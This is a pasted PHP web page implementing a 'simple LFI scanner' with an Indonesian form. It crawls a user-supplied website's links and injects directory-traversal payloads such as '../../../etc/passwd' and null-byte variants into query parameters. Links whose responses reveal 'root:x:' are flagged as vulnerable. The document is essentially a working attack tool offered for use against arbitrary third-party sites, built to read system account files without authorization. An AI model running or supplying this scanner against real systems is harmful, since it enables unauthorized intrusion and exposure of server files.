Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2018
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.69 KB | None | 0 0
  1. <html>
  2. <head> <title>+- simple LFI scanner -+</title>
  3. <body>
  4. <center><h1>simple LFI scanner</h1>
  5. <form method='post'>
  6. source : http://github.com/fakhrizulkifli/Website-Vulnerability-Scanner-v1.0/ <br>
  7. masukan alamat website : </br></br>
  8. <input type='text' size='23' name='site' value='' placeholder='contoh http://google.com/'><br>
  9. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  10. </form>
  11.  
  12.  
  13.  
  14. <?php
  15. function Get_Info($site) {
  16. if($info = con_host($site)) {
  17. preg_match("/Content-Type:(.+)/", $info, $type);
  18. preg_match("/Server:(.+)/", $info, $server);
  19. print "[-] $type[0]<br>";
  20. print "[-] $server[0]<br>";
  21. $ip = parse_url($site);
  22. print "[-] IP: ".gethostbyname($ip['host'])."<br>";
  23. }
  24. }
  25.  
  26. function con_host($host) {
  27. $ch = curl_init($host);
  28. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  29. curl_setopt($ch, CURLOPT_TIMEOUT, 200);
  30. curl_setopt($ch, CURLOPT_HEADER, 1);
  31. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  32. curl_setopt($ch, CURLOPT_REFERER, "http://google.com");
  33. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9');
  34. $pg = curl_exec($ch);
  35. if($pg){
  36. return $pg;
  37. } else {
  38. return false;
  39. }
  40. }
  41.  
  42. function find_link($site) {
  43. if($text = con_host($site)) {
  44. $find = "/href=[\"']?([^\"']+)?[\"']?/i";
  45. preg_match_all($find, $text, $links);
  46.  
  47. foreach($links[1] as $link) {
  48. $a[] = $link;
  49. }
  50. return $a;
  51. }
  52. }
  53.  
  54.  
  55. function lfi($site) {
  56. $list_lfi = array(
  57. '../etc/passwd',
  58. '../../etc/passwd',
  59. '../../../etc/passwd',
  60. '../../../../etc/passwd',
  61. '../../../../../etc/passwd',
  62. '../../../../../../etc/passwd',
  63. '../../../../../../../etc/passwd',
  64. '../../../../../../../../etc/passwd',
  65. '../../../../../../../../../etc/passwd',
  66. '../etc/passwd%00',
  67. '../../etc/passwd%00',
  68. '../../../etc/passwd%00',
  69. '../../../../etc/passwd%00',
  70. '../../../../../etc/passwd%00',
  71. '../../../../../../etc/passwd%00',
  72. '../../../../../../../etc/passwd%00',
  73. '../../../../../../../../etc/passwd%00',
  74. '../../../../../../../../../etc/passwd%00',
  75. );
  76.  
  77. $request = parse_url($site);
  78. print "[-] URL : $request[host]<br>";
  79. print "[-] Path: $request[path]<br>";
  80. print "[-] Try connect to host<br>";
  81. $url = "".$request['scheme']."://".$request['host'].$request['path']."";
  82. if(con_host($url))
  83. {
  84. print "[+] Connect to host successful<br>";
  85. print Get_Info($url);
  86. print "[-] Finding link on the website<br>";
  87. print "[+] Found link : ".count(find_link($url))."<br>";
  88. print "[-] Finding vulnerable...<br>";
  89. if(is_array(find_link($url)))
  90. foreach(find_link($url) as $link) {
  91. $file = explode("/", $request['path']);
  92. $request['path'] = preg_replace("/".$file[count($file)-1]."/", "", $request['path']);
  93. if(!preg_match("/$request[host]/", $link)) { $link = "http://$request[host]/$request[path]$link"; }
  94. foreach($list_lfi as $error) {
  95. $link = preg_replace("/=(.+)/", "=$error", $link);
  96. if(preg_match("/root:x:/", con_host($link))) {
  97. print "[-]LFI vulnerable : $link<br>";
  98. $save[] = $link;
  99. }
  100. }
  101. }
  102. print "[-] Done<br>";
  103. }
  104. }
  105. $site=$_POST['site'];
  106. lfi($site);
  107. ?>
  108. </center>
  109. </body>
  110. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement